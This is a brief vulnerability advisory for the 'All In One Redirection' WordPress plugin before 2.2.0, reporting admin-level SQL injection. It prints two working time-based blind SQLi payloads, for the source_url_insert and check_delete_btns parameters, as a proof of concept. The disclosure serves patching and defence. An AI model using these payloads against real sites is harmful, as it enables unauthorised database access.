All In One Redirection < 2.2.0 - Admin+ SQLi

Proof of Concept

When adding a redirection, `source_url_insert` is vulnerable with the payload: `source_url_insert =%2ftest.html'%2b(select*from(select(sleep(8)))a)%2b'`

When deleting a redirect, `check_delete_btns` is vulnerable with the payload: `check_delete_btns%5B%5D=(select*from(select(sleep(20)))a

Adding the payload to the affected parameters results in the execution of the SQL query.